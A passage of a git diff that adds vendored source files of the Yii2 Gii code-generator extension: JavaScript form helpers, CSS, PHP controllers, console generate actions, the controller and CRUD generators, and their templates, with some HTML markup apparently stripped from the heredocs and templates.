counter).typeahead(null, {displayKey: 'word', source: datum.ttAdapter()}); + }, + init: function () { + initHintBlocks(); + initStickyInputs(); + initPreviewDiffLinks(); + initConfirmationCheckboxes(); + initToggleActions(); + + // model generator: hide class name input when table name input contains * + $('#model-generator #generator-tablename').change(function () { + $('#model-generator .field-generator-modelclass').toggle($(this).val().indexOf('*') == -1); + }).change(); + + // model generator: translate table name to model class + $('#generator-tablename').on('blur', function () { + var tableName = $(this).val(); + if ($('#generator-modelclass').val()=='' && tableName && tableName.indexOf('*') === -1){ + var modelClass=''; + $.each(tableName.split('_'), function() { + if(this.length>0) + modelClass+=this.substring(0,1).toUpperCase()+this.substring(1); + }); + $('#generator-modelclass').val(modelClass); + } + }); + + // hide message category when I18N is disabled + $('form #generator-enablei18n').change(function () { + $('form .field-generator-messagecategory').toggle($(this).is(':checked')); + }).change(); + + // hide Generate button if any input is changed + $('.default-view .form-group input,select,textarea').change(function () { + $('.default-view-results,.default-view-files').hide(); + $('.default-view button[name="generate"]').hide(); + }); + + $('.module-form #generator-moduleclass').change(function () { + var value = $(this).val().match(/(\w+)\\\w+$/); + var $idInput = $('#generator-moduleid'); + if (value && value[1] && $idInput.val() == '') { + $idInput.val(value[1]); + } + }); + } + }; +})(jQuery); diff --git a/php/yii2/basic/vendor/yiisoft/yii2-gii/assets/logo.png b/php/yii2/basic/vendor/yiisoft/yii2-gii/assets/logo.png new file mode 100644 index 00000000..e48b5aad Binary files /dev/null and b/php/yii2/basic/vendor/yiisoft/yii2-gii/assets/logo.png differ diff --git a/php/yii2/basic/vendor/yiisoft/yii2-gii/assets/main.css b/php/yii2/basic/vendor/yiisoft/yii2-gii/assets/main.css new file mode 100644 index 00000000..87d5f90f --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-gii/assets/main.css @@ -0,0 +1,259 @@ +body { + padding-top: 70px; +} + +.footer { + border-top: 1px solid #ddd; + margin-top: 30px; + padding: 15px 0 30px; +} + +.jumbotron { + text-align: center; + background-color: transparent; +} + +.jumbotron .btn { + font-size: 21px; + padding: 14px 24px; +} + +.navbar-brand { + padding: 0; + margin: 0; +} + +.default-index .generator { + min-height: 200px; + margin-bottom: 20px; +} + +.list-group .glyphicon { + float: right; +} + +.popover { + max-width: 400px; + width: 400px; +} + +.hint-block { + display: none; +} + +.error-summary { + color: #a94442; + background: #fdf7f7; + border-left: 3px solid #eed3d7; + padding: 10px 20px; + margin: 0 0 15px 0; +} + +.default-view .sticky-value { + padding: 6px 12px; + background: lightyellow; + white-space: pre; + word-wrap: break-word; +} + +.default-view .form-group label.help { + border-bottom: 1px dashed #888; + cursor: help; +} + +.default-view .modal-dialog { + width: 800px; +} + +.default-view .modal-dialog .error { + color: #d9534f; +} + +.default-view .modal-dialog .content { + background: #fafafa; + border-left: #eee 5px solid; + padding: 5px 10px; + overflow: auto; +} + +.default-view .modal-dialog code { + background: transparent; +} + +.default-view-files table .action { + width: 100px; +} + +.default-view-files table .check { + width: 25px; + text-align: center; +} + +.default-view-results pre { + overflow: auto; + background-color: #333; + max-height: 300px; + color: white; + padding: 10px; + border-radius: 0; + white-space: nowrap; +} + +.default-view-results pre .error { + background: #FFE0E1; + color: black; + padding: 1px; +} + +.default-view-results .alert pre { + background: white; +} + +.default-diff pre { + padding: 0; + margin: 0; + background: transparent; + border: none; +} + +.default-diff pre del { + background: pink; +} + +.default-diff pre ins { + background: lightgreen; + text-decoration: none; +} + +.Differences { + width: 100%; + border-collapse: collapse; + border-spacing: 0; + empty-cells: show; +} + +.Differences thead { + display: none; +} + +.Differences tbody th { + text-align: right; + background: #FAFAFA; + padding: 1px 2px; + border-right: 1px solid #eee; + vertical-align: top; + font-size: 13px; + font-family: Monaco, Menlo, Consolas, 'Courier New', monospace; + font-weight: normal; + color: #999; + width: 5px; +} + +.Differences td { + padding: 1px 2px; + font-size: 13px; + font-family: Monaco, Menlo, Consolas, 'Courier New', monospace; +} + +.DifferencesSideBySide .ChangeInsert td.Left { + background: #dfd; +} + +.DifferencesSideBySide .ChangeInsert td.Right { + background: #cfc; +} + +.DifferencesSideBySide .ChangeDelete td.Left { + background: #f88; +} + +.DifferencesSideBySide .ChangeDelete td.Right { + background: #faa; +} + +.DifferencesSideBySide .ChangeReplace .Left { + background: #fe9; +} + +.DifferencesSideBySide .ChangeReplace .Right { + background: #fd8; +} + +.Differences ins, .Differences del { + text-decoration: none; +} + +.DifferencesSideBySide .ChangeReplace ins, .DifferencesSideBySide .ChangeReplace del { + background: #fc0; +} + +.Differences .Skipped { + background: #f7f7f7; +} + +.DifferencesInline .ChangeReplace .Left, +.DifferencesInline .ChangeDelete .Left { + background: #fdd; +} + +.DifferencesInline .ChangeReplace .Right, +.DifferencesInline .ChangeInsert .Right { + background: #dfd; +} + +.DifferencesInline .ChangeReplace ins { + background: #9e9; +} + +.DifferencesInline .ChangeReplace del { + background: #e99; +} + +.DifferencesInline th[data-line-number]:before { + content: attr(data-line-number); +} + +/* additional styles for typeahead.js, adapted from http://twitter.github.io/typeahead.js/examples/ */ + +.twitter-typeahead { + display: block !important; +} + +.tt-query { + -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075); + -moz-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075); + box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075); +} + +.tt-hint { + color: #999 +} + +.tt-dropdown-menu { + width: 422px; + margin-top: 2px; + padding: 8px 0; + background-color: #fff; + border: 1px solid #ccc; + border: 1px solid rgba(0, 0, 0, 0.2); + -webkit-box-shadow: 0 5px 10px rgba(0, 0, 0, .2); + -moz-box-shadow: 0 5px 10px rgba(0, 0, 0, .2); + box-shadow: 0 5px 10px rgba(0, 0, 0, .2); +} + +.tt-suggestion { + padding: 3px 20px; + font-size: 18px; + line-height: 24px; +} + +.tt-suggestion.tt-cursor { + color: #fff; + background-color: #0097cf; + +} + +.tt-suggestion p { + margin: 0; +} + diff --git a/php/yii2/basic/vendor/yiisoft/yii2-gii/components/ActiveField.php b/php/yii2/basic/vendor/yiisoft/yii2-gii/components/ActiveField.php new file mode 100644 index 00000000..a8103389 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-gii/components/ActiveField.php @@ -0,0 +1,75 @@ + + * @since 2.0 + */ +class ActiveField extends \yii\widgets\ActiveField +{ + /** + * @var Generator + */ + public $model; + + + /** + * @inheritdoc + */ + public function init() + { + $stickyAttributes = $this->model->stickyAttributes(); + if (in_array($this->attribute, $stickyAttributes)) { + $this->sticky(); + } + $hints = $this->model->hints(); + if (isset($hints[$this->attribute])) { + $this->hint($hints[$this->attribute]); + } + $autoCompleteData = $this->model->autoCompleteData(); + if (isset($autoCompleteData[$this->attribute])) { + if (is_callable($autoCompleteData[$this->attribute])) { + $this->autoComplete(call_user_func($autoCompleteData[$this->attribute])); + } else { + $this->autoComplete($autoCompleteData[$this->attribute]); + } + } + } + + /** + * Makes field remember its value between page reloads + * @return static the field object itself + */ + public function sticky() + { + $this->options['class'] .= ' sticky'; + + return $this; + } + + /** + * Makes field auto completable + * @param array $data auto complete data (array of callables or scalars) + * @return static the field object itself + */ + public function autoComplete($data) + { + static $counter = 0; + $this->inputOptions['class'] .= ' typeahead typeahead-' . (++$counter); + foreach ($data as &$item) { + $item = ['word' => $item]; + } + $this->form->getView()->registerJs("yii.gii.autocomplete($counter, " . Json::encode($data) . ");"); + + return $this; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2-gii/components/DiffRendererHtmlInline.php b/php/yii2/basic/vendor/yiisoft/yii2-gii/components/DiffRendererHtmlInline.php new file mode 100644 index 00000000..dbaf007b --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-gii/components/DiffRendererHtmlInline.php @@ -0,0 +1,136 @@ + + * @since 2.0 + */ +class DiffRendererHtmlInline extends \Diff_Renderer_Html_Array +{ + /** + * Render a and return diff with changes between the two sequences + * displayed inline (under each other) + * + * @return string The generated inline diff. + */ + public function render() + { + $changes = parent::render(); + $html = ''; + if (empty($changes)) { + return $html; + } + + $html .= << + + + Old + New + Differences + + +HTML; + foreach ($changes as $i => $blocks) { + // If this is a separate block, we're condensing code so output ..., + // indicating a significant portion of the code has been collapsed as + // it is the same + if ($i > 0) { + $html .= << + + +   + +HTML; + } + + foreach ($blocks as $change) { + $tag = ucfirst($change['tag']); + $html .= << +HTML; + // Equal changes should be shown on both sides of the diff + if ($change['tag'] === 'equal') { + foreach ($change['base']['lines'] as $no => $line) { + $fromLine = $change['base']['offset'] + $no + 1; + $toLine = $change['changed']['offset'] + $no + 1; + $html .= << + + + {$line} + +HTML; + } + } + // Added lines only on the right side + elseif ($change['tag'] === 'insert') { + foreach ($change['changed']['lines'] as $no => $line) { + $toLine = $change['changed']['offset'] + $no + 1; + $html .= << + + + {$line}  + +HTML; + } + } + // Show deleted lines only on the left side + elseif ($change['tag'] === 'delete') { + foreach ($change['base']['lines'] as $no => $line) { + $fromLine = $change['base']['offset'] + $no + 1; + $html .= << + + + {$line}  + +HTML; + } + } + // Show modified lines on both sides + elseif ($change['tag'] === 'replace') { + foreach ($change['base']['lines'] as $no => $line) { + $fromLine = $change['base']['offset'] + $no + 1; + $html .= << + + + {$line} + +HTML; + } + + foreach ($change['changed']['lines'] as $no => $line) { + $toLine = $change['changed']['offset'] + $no + 1; + $html .= << + + + {$line} + +HTML; + } + } + $html .= << +HTML; + } + } + $html .= << +HTML; + + return $html; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2-gii/composer.json b/php/yii2/basic/vendor/yiisoft/yii2-gii/composer.json new file mode 100644 index 00000000..f1915eb9 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-gii/composer.json @@ -0,0 +1,36 @@ +{ + "name": "yiisoft/yii2-gii", + "description": "The Gii extension for the Yii framework", + "keywords": ["yii2", "gii", "code generator"], + "type": "yii2-extension", + "license": "BSD-3-Clause", + "support": { + "issues": "https://github.com/yiisoft/yii2/issues?labels=ext%3Agii", + "forum": "http://www.yiiframework.com/forum/", + "wiki": "http://www.yiiframework.com/wiki/", + "irc": "irc://irc.freenode.net/yii", + "source": "https://github.com/yiisoft/yii2" + }, + "authors": [ + { + "name": "Qiang Xue", + "email": "qiang.xue@gmail.com" + } + ], + "require": { + "yiisoft/yii2": "*", + "yiisoft/yii2-bootstrap": "*", + "phpspec/php-diff": ">=1.0.2", + "bower-asset/typeahead.js": "0.10.*" + }, + "autoload": { + "psr-4": { + "yii\\gii\\": "" + } + }, + "extra": { + "branch-alias": { + "dev-master": "2.0.x-dev" + } + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2-gii/console/GenerateAction.php b/php/yii2/basic/vendor/yiisoft/yii2-gii/console/GenerateAction.php new file mode 100644 index 00000000..35567d88 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-gii/console/GenerateAction.php @@ -0,0 +1,112 @@ + + * @since 2.0 + */ +class GenerateAction extends \yii\base\Action +{ + /** + * @var \yii\gii\Generator + */ + public $generator; + /** + * @var GenerateController + */ + public $controller; + + /** + * @inheritdoc + */ + public function run() + { + echo "Running '{$this->generator->getName()}'...\n\n"; + + if ($this->generator->validate()) { + $this->generateCode(); + } else { + $this->displayValidationErrors(); + } + } + + protected function displayValidationErrors() + { + $this->controller->stdout("Code not generated. Please fix the following errors:\n\n", Console::FG_RED); + foreach ($this->generator->errors as $attribute => $errors) { + echo ' - ' . $this->controller->ansiFormat($attribute, Console::FG_CYAN) . ': ' . implode('; ', $errors) . "\n"; + } + echo "\n"; + } + + protected function generateCode() + { + $files = $this->generator->generate(); + $n = count($files); + if ($n === 0) { + echo "No code to be generated.\n"; + return; + } + echo "The following files will be generated:\n"; + $skipAll = $this->controller->interactive ? null : true; + $answers = []; + foreach ($files as $file) { + $path = $file->getRelativePath(); + if (is_file($file->path)) { + if (file_get_contents($file->path) === $file->content) { + echo ' ' . $this->controller->ansiFormat('[unchanged]', Console::FG_GREY); + echo $this->controller->ansiFormat(" $path\n", Console::FG_CYAN); + $answers[$file->id] = false; + } else { + echo ' ' . $this->controller->ansiFormat('[changed]', Console::FG_RED); + echo $this->controller->ansiFormat(" $path\n", Console::FG_CYAN); + if ($skipAll !== null) { + $answers[$file->id] = !$skipAll; + } else { + $answer = $this->controller->select("Do you want to overwrite this file?", [ + 'y' => 'Overwrite this file.', + 'n' => 'Skip this file.', + 'ya' => 'Overwrite this and the rest of the changed files.', + 'na' => 'Skip this and the rest of the changed files.', + ]); + $answers[$file->id] = $answer === 'y' || $answer === 'ya'; + if ($answer === 'ya') { + $skipAll = false; + } elseif ($answer === 'na') { + $skipAll = true; + } + } + } + } else { + echo ' ' . $this->controller->ansiFormat('[new]', Console::FG_GREEN); + echo $this->controller->ansiFormat(" $path\n", Console::FG_CYAN); + $answers[$file->id] = true; + } + } + + if (!array_sum($answers)) { + $this->controller->stdout("\nNo files were chosen to be generated.\n", Console::FG_CYAN); + return; + } + + if (!$this->controller->confirm("\nReady to generate the selected files?", true)) { + $this->controller->stdout("\nNo file was generated.\n", Console::FG_CYAN); + return; + } + + if ($this->generator->save($files, (array)$answers, $results)) { + $this->controller->stdout("\nFiles were generated successfully!\n", Console::FG_GREEN); + } else { + $this->controller->stdout("\nSome errors occurred while generating the files.", Console::FG_RED); + } + echo preg_replace('%(.*?)%', '\1', $results) . "\n"; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2-gii/console/GenerateController.php b/php/yii2/basic/vendor/yiisoft/yii2-gii/console/GenerateController.php new file mode 100644 index 00000000..604a4a0f --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-gii/console/GenerateController.php @@ -0,0 +1,202 @@ + + * @author Qiang Xue + * @since 2.0 + */ +class GenerateController extends Controller +{ + /** + * @var \yii\gii\Module + */ + public $module; + /** + * @var boolean whether to generate all files and overwrite existing files + */ + public $generate = false; + /** + * @var array a list of the available code generators + */ + public $generators = []; + + /** + * @var array generator option values + */ + private $_options = []; + + + /** + * @inheritdoc + */ + public function __get($name) + { + return isset($this->_options[$name]) ? $this->_options[$name] : null; + } + + /** + * @inheritdoc + */ + public function __set($name, $value) + { + $this->_options[$name] = $value; + } + + /** + * @inheritdoc + */ + public function init() + { + parent::init(); + foreach ($this->generators as $id => $config) { + $this->generators[$id] = Yii::createObject($config); + } + } + + /** + * @inheritdoc + */ + public function createAction($id) + { + /** @var $action GenerateAction */ + $action = parent::createAction($id); + foreach ($this->_options as $name => $value) { + $action->generator->$name = $value; + } + return $action; + } + + /** + * @inheritdoc + */ + public function actions() + { + $actions = []; + foreach ($this->generators as $name => $generator) { + $actions[$name] = [ + 'class' => 'yii\gii\console\GenerateAction', + 'generator' => $generator, + ]; + } + return $actions; + } + + public function actionIndex() + { + $this->run('/help', ['gii']); + } + + /** + * @inheritdoc + */ + public function getUniqueID() + { + return $this->id; + } + + /** + * @inheritdoc + */ + public function options($id) + { + if (isset($this->generators[$id])) { + $attributes = $this->generators[$id]->attributes; + unset($attributes['templates']); + return array_merge( + parent::options($id), + array_keys($attributes) + ); + } else { + return parent::options($id); + } + } + + /** + * @inheritdoc + */ + public function getActionHelpSummary($action) + { + if ($action instanceof InlineAction) { + return parent::getActionHelpSummary($action); + } else { + /** @var $action GenerateAction */ + return $action->generator->getName(); + } + } + + /** + * @inheritdoc + */ + public function getActionHelp($action) + { + if ($action instanceof InlineAction) { + return parent::getActionHelp($action); + } else { + /** @var $action GenerateAction */ + $description = $action->generator->getDescription(); + return wordwrap(preg_replace('/\s+/', ' ', $description)); + } + } + + /** + * @inheritdoc + */ + public function getActionArgsHelp($action) + { + return []; + } + + /** + * @inheritdoc + */ + public function getActionOptionsHelp($action) + { + if ($action instanceof InlineAction) { + return parent::getActionOptionsHelp($action); + } + /** @var $action GenerateAction */ + $attributes = $action->generator->attributes; + unset($attributes['templates']); + $hints = $action->generator->hints(); + + $options = []; + foreach ($attributes as $name => $value) { + $type = gettype($value); + $options[$name] = [ + 'type' => $type === 'NULL' ? 'string' : $type, + 'required' => $value === null && $action->generator->isAttributeRequired($name), + 'default' => $value, + 'comment' => isset($hints[$name]) ? $this->formatHint($hints[$name]) : '', + ]; + } + + return $options; + } + + protected function formatHint($hint) + { + $hint = preg_replace('%(.*?)%', '\1', $hint); + $hint = preg_replace('/\s+/', ' ', $hint); + return wordwrap($hint); + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2-gii/controllers/DefaultController.php b/php/yii2/basic/vendor/yiisoft/yii2-gii/controllers/DefaultController.php new file mode 100644 index 00000000..f1da8f7d --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-gii/controllers/DefaultController.php @@ -0,0 +1,130 @@ + + * @since 2.0 + */ +class DefaultController extends Controller +{ + public $layout = 'generator'; + /** + * @var \yii\gii\Module + */ + public $module; + /** + * @var \yii\gii\Generator + */ + public $generator; + + + public function actionIndex() + { + $this->layout = 'main'; + + return $this->render('index'); + } + + public function actionView($id) + { + $generator = $this->loadGenerator($id); + $params = ['generator' => $generator, 'id' => $id]; + if (isset($_POST['preview']) || isset($_POST['generate'])) { + if ($generator->validate()) { + $generator->saveStickyAttributes(); + $files = $generator->generate(); + if (isset($_POST['generate']) && !empty($_POST['answers'])) { + $params['hasError'] = !$generator->save($files, (array) $_POST['answers'], $results); + $params['results'] = $results; + } else { + $params['files'] = $files; + $params['answers'] = isset($_POST['answers']) ? $_POST['answers'] : null; + } + } + } + + return $this->render('view', $params); + } + + public function actionPreview($id, $file) + { + $generator = $this->loadGenerator($id); + if ($generator->validate()) { + foreach ($generator->generate() as $f) { + if ($f->id === $file) { + $content = $f->preview(); + if ($content !== false) { + return '
            ' . $content . ''; + } else { + return '
            Preview is not available for this file type.
            '; + } + } + } + } + throw new NotFoundHttpException("Code file not found: $file"); + } + + public function actionDiff($id, $file) + { + $generator = $this->loadGenerator($id); + if ($generator->validate()) { + foreach ($generator->generate() as $f) { + if ($f->id === $file) { + return $this->renderPartial('diff', [ + 'diff' => $f->diff(), + ]); + } + } + } + throw new NotFoundHttpException("Code file not found: $file"); + } + + /** + * Runs an action defined in the generator. + * Given an action named "xyz", the method "actionXyz()" in the generator will be called. + * If the method does not exist, a 400 HTTP exception will be thrown. + * @param string $id the ID of the generator + * @param string $name the action name + * @return mixed the result of the action. + * @throws NotFoundHttpException if the action method does not exist. + */ + public function actionAction($id, $name) + { + $generator = $this->loadGenerator($id); + $method = 'action' . $name; + if (method_exists($generator, $method)) { + return $generator->$method(); + } else { + throw new NotFoundHttpException("Unknown generator action: $name"); + } + } + + /** + * Loads the generator with the specified ID. + * @param string $id the ID of the generator to be loaded. + * @return \yii\gii\Generator the loaded generator + * @throws NotFoundHttpException + */ + protected function loadGenerator($id) + { + if (isset($this->module->generators[$id])) { + $this->generator = $this->module->generators[$id]; + $this->generator->loadStickyAttributes(); + $this->generator->load($_POST); + + return $this->generator; + } else { + throw new NotFoundHttpException("Code generator not found: $id"); + } + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2-gii/generators/controller/Generator.php b/php/yii2/basic/vendor/yiisoft/yii2-gii/generators/controller/Generator.php new file mode 100644 index 00000000..ffd59140 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-gii/generators/controller/Generator.php @@ -0,0 +1,251 @@ + + * @since 2.0 + */ +class Generator extends \yii\gii\Generator +{ + /** + * @var string the controller ID + */ + public $controller; + /** + * @var string the base class of the controller + */ + public $baseClass = 'yii\web\Controller'; + /** + * @var string the namespace of the controller class + */ + public $ns; + /** + * @var string list of action IDs separated by commas or spaces + */ + public $actions = 'index'; + + + /** + * @inheritdoc + */ + public function init() + { + parent::init(); + $this->ns = \Yii::$app->controllerNamespace; + } + + /** + * @inheritdoc + */ + public function getName() + { + return 'Controller Generator'; + } + + /** + * @inheritdoc + */ + public function getDescription() + { + return 'This generator helps you to quickly generate a new controller class, + one or several controller actions and their corresponding views.'; + } + + /** + * @inheritdoc + */ + public function rules() + { + return array_merge(parent::rules(), [ + [['controller', 'actions', 'baseClass', 'ns'], 'filter', 'filter' => 'trim'], + [['controller', 'baseClass'], 'required'], + [['controller'], 'match', 'pattern' => '/^[a-z][a-z0-9\\-\\/]*$/', 'message' => 'Only a-z, 0-9, dashes (-) and slashes (/) are allowed.'], + [['actions'], 'match', 'pattern' => '/^[a-z][a-z0-9\\-,\\s]*$/', 'message' => 'Only a-z, 0-9, dashes (-), spaces and commas are allowed.'], + [['baseClass'], 'match', 'pattern' => '/^[\w\\\\]*$/', 'message' => 'Only word characters and backslashes are allowed.'], + [['ns'], 'match', 'pattern' => '/^[\w\\\\]*$/', 'message' => 'Only word characters and backslashes are allowed.'], + ]); + } + + /** + * @inheritdoc + */ + public function attributeLabels() + { + return [ + 'baseClass' => 'Base Class', + 'controller' => 'Controller ID', + 'actions' => 'Action IDs', + 'ns' => 'Controller Namespace', + ]; + } + + /** + * @inheritdoc + */ + public function requiredTemplates() + { + return [ + 'controller.php', + 'view.php', + ]; + } + + /** + * @inheritdoc + */ + public function stickyAttributes() + { + return ['ns', 'baseClass']; + } + + /** + * @inheritdoc + */ + public function hints() + { + return [ + 'controller' => 'Controller ID should be in lower case and may contain module ID(s) separated by slashes. For example: +
              +
            • order generates OrderController.php
            • +
            • order-item generates OrderItemController.php
            • +
            • admin/user generates UserController.php within the admin module.
            • +
            ', + 'actions' => 'Provide one or multiple action IDs to generate empty action method(s) in the controller. Separate multiple action IDs with commas or spaces. + Action IDs should be in lower case. For example: +
              +
            • index generates actionIndex()
            • +
            • create-order generates actionCreateOrder()
            • +
            ', + 'ns' => 'This is the namespace that the new controller class will use.', + 'baseClass' => 'This is the class that the new controller class will extend from. Please make sure the class exists and can be autoloaded.', + ]; + } + + /** + * @inheritdoc + */ + public function successMessage() + { + $actions = $this->getActionIDs(); + if (in_array('index', $actions)) { + $route = $this->controller . '/index'; + } else { + $route = $this->controller . '/' . reset($actions); + } + $link = Html::a('try it now', Yii::$app->getUrlManager()->createUrl($route), ['target' => '_blank']); + + return "The controller has been generated successfully. You may $link."; + } + + /** + * @inheritdoc + */ + public function generate() + { + $files = []; + + $files[] = new CodeFile( + $this->getControllerFile(), + $this->render('controller.php') + ); + + foreach ($this->getActionIDs() as $action) { + $files[] = new CodeFile( + $this->getViewFile($action), + $this->render('view.php', ['action' => $action]) + ); + } + + return $files; + } + + /** + * Normalizes [[actions]] into an array of action IDs. + * @return array an array of action IDs entered by the user + */ + public function getActionIDs() + { + $actions = array_unique(preg_split('/[\s,]+/', $this->actions, -1, PREG_SPLIT_NO_EMPTY)); + sort($actions); + + return $actions; + } + + /** + * @return string the controller class name without the namespace part. + */ + public function getControllerClass() + { + return Inflector::id2camel($this->getControllerID()) . 'Controller'; + } + + /** + * @return string the controller ID (without the module ID prefix) + */ + public function getControllerID() + { + if (($pos = strrpos($this->controller, '/')) !== false) { + return substr($this->controller, $pos + 1); + } else { + return $this->controller; + } + } + + /** + * @return \yii\base\Module the module that the new controller belongs to + */ + public function getModule() + { + if (($pos = strrpos($this->controller, '/')) !== false) { + $id = substr($this->controller, 0, $pos); + if (($module = Yii::$app->getModule($id)) !== null) { + return $module; + } + } + + return Yii::$app; + } + + /** + * @return string the controller class file path + */ + public function getControllerFile() + { + $module = $this->getModule(); + + return $module->getControllerPath() . '/' . $this->getControllerClass() . '.php'; + } + + /** + * @param string $action the action ID + * @return string the action view file path + */ + public function getViewFile($action) + { + $module = $this->getModule(); + + return $module->getViewPath() . '/' . $this->getControllerID() . '/' . $action . '.php'; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2-gii/generators/controller/default/controller.php b/php/yii2/basic/vendor/yiisoft/yii2-gii/generators/controller/default/controller.php new file mode 100644 index 00000000..a32a1e35 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-gii/generators/controller/default/controller.php @@ -0,0 +1,27 @@ + + +ns)): ?> +namespace ns ?>; + + +class getControllerClass() ?> extends baseClass, '\\') . "\n" ?> +{ +getActionIDs() as $action): ?> + public function action() + { + return $this->render(''); + } + + +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2-gii/generators/controller/default/view.php b/php/yii2/basic/vendor/yiisoft/yii2-gii/generators/controller/default/view.php new file mode 100644 index 00000000..06f0ce25 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-gii/generators/controller/default/view.php @@ -0,0 +1,20 @@ + +/* @var $this yii\web\View */ +" ?> + +

            getControllerID() . '/' . $action ?>

            + +

            + You may change the content of this page by modifying + the file __FILE__; ?>. +

            diff --git a/php/yii2/basic/vendor/yiisoft/yii2-gii/generators/controller/form.php b/php/yii2/basic/vendor/yiisoft/yii2-gii/generators/controller/form.php new file mode 100644 index 00000000..e9e67d9f --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-gii/generators/controller/form.php @@ -0,0 +1,9 @@ +field($generator, 'controller'); +echo $form->field($generator, 'actions'); +echo $form->field($generator, 'ns'); +echo $form->field($generator, 'baseClass'); diff --git a/php/yii2/basic/vendor/yiisoft/yii2-gii/generators/crud/Generator.php b/php/yii2/basic/vendor/yiisoft/yii2-gii/generators/crud/Generator.php new file mode 100644 index 00000000..fb458d9b --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-gii/generators/crud/Generator.php @@ -0,0 +1,550 @@ + + * @since 2.0 + */ +class Generator extends \yii\gii\Generator +{ + public $modelClass; + public $moduleID; + public $controllerClass; + public $baseControllerClass = 'yii\web\Controller'; + public $indexWidgetType = 'grid'; + public $searchModelClass = ''; + + + /** + * @inheritdoc + */ + public function getName() + { + return 'CRUD Generator'; + } + + /** + * @inheritdoc + */ + public function getDescription() + { + return 'This generator generates a controller and views that implement CRUD (Create, Read, Update, Delete) + operations for the specified data model.'; + } + + /** + * @inheritdoc + */ + public function rules() + { + return array_merge(parent::rules(), [ + [['moduleID', 'controllerClass', 'modelClass', 'searchModelClass', 'baseControllerClass'], 'filter', 'filter' => 'trim'], + [['modelClass', 'controllerClass', 'baseControllerClass', 'indexWidgetType'], 'required'], + [['searchModelClass'], 'compare', 'compareAttribute' => 'modelClass', 'operator' => '!==', 'message' => 'Search Model Class must not be equal to Model Class.'], + [['modelClass', 'controllerClass', 'baseControllerClass', 'searchModelClass'], 'match', 'pattern' => '/^[\w\\\\]*$/', 'message' => 'Only word characters and backslashes are allowed.'], + [['modelClass'], 'validateClass', 'params' => ['extends' => BaseActiveRecord::className()]], + [['baseControllerClass'], 'validateClass', 'params' => ['extends' => Controller::className()]], + [['controllerClass'], 'match', 'pattern' => '/Controller$/', 'message' => 'Controller class name must be suffixed with "Controller".'], + [['controllerClass'], 'match', 'pattern' => '/(^|\\\\)[A-Z][^\\\\]+Controller$/', 'message' => 'Controller class name must start with an uppercase letter.'], + [['controllerClass', 'searchModelClass'], 'validateNewClass'], + [['indexWidgetType'], 'in', 'range' => ['grid', 'list']], + [['modelClass'], 'validateModelClass'], + [['moduleID'], 'validateModuleID'], + [['enableI18N'], 'boolean'], + [['messageCategory'], 'validateMessageCategory', 'skipOnEmpty' => false], + ]); + } + + /** + * @inheritdoc + */ + public function attributeLabels() + { + return array_merge(parent::attributeLabels(), [ + 'modelClass' => 'Model Class', + 'moduleID' => 'Module ID', + 'controllerClass' => 'Controller Class', + 'baseControllerClass' => 'Base Controller Class', + 'indexWidgetType' => 'Widget Used in Index Page', + 'searchModelClass' => 'Search Model Class', + ]); + } + + /** + * @inheritdoc + */ + public function hints() + { + return array_merge(parent::hints(), [ + 'modelClass' => 'This is the ActiveRecord class associated with the table that CRUD will be built upon. + You should provide a fully qualified class name, e.g., app\models\Post.', + 'controllerClass' => 'This is the name of the controller class to be generated. You should + provide a fully qualified namespaced class (e.g. app\controllers\PostController), + and class name should be in CamelCase with an uppercase first letter. Make sure the class + is using the same namespace as specified by your application\'s controllerNamespace property.', + 'baseControllerClass' => 'This is the class that the new CRUD controller class will extend from. + You should provide a fully qualified class name, e.g., yii\web\Controller.', + 'moduleID' => 'This is the ID of the module that the generated controller will belong to. + If not set, it means the controller will belong to the application.', + 'indexWidgetType' => 'This is the widget type to be used in the index page to display list of the models. + You may choose either GridView or ListView', + 'searchModelClass' => 'This is the name of the search model class to be generated. You should provide a fully + qualified namespaced class name, e.g., app\models\PostSearch.', + ]); + } + + /** + * @inheritdoc + */ + public function requiredTemplates() + { + return ['controller.php']; + } + + /** + * @inheritdoc + */ + public function stickyAttributes() + { + return array_merge(parent::stickyAttributes(), ['baseControllerClass', 'moduleID', 'indexWidgetType']); + } + + /** + * Checks if model class is valid + */ + public function validateModelClass() + { + /* @var $class ActiveRecord */ + $class = $this->modelClass; + $pk = $class::primaryKey(); + if (empty($pk)) { + $this->addError('modelClass', "The table associated with $class must have primary key(s)."); + } + } + + /** + * Checks if model ID is valid + */ + public function validateModuleID() + { + if (!empty($this->moduleID)) { + $module = Yii::$app->getModule($this->moduleID); + if ($module === null) { + $this->addError('moduleID', "Module '{$this->moduleID}' does not exist."); + } + } + } + + /** + * @inheritdoc + */ + public function generate() + { + $controllerFile = Yii::getAlias('@' . str_replace('\\', '/', ltrim($this->controllerClass, '\\')) . '.php'); + + $files = [ + new CodeFile($controllerFile, $this->render('controller.php')), + ]; + + if (!empty($this->searchModelClass)) { + $searchModel = Yii::getAlias('@' . str_replace('\\', '/', ltrim($this->searchModelClass, '\\') . '.php')); + $files[] = new CodeFile($searchModel, $this->render('search.php')); + } + + $viewPath = $this->getViewPath(); + $templatePath = $this->getTemplatePath() . '/views'; + foreach (scandir($templatePath) as $file) { + if (empty($this->searchModelClass) && $file === '_search.php') { + continue; + } + if (is_file($templatePath . '/' . $file) && pathinfo($file, PATHINFO_EXTENSION) === 'php') { + $files[] = new 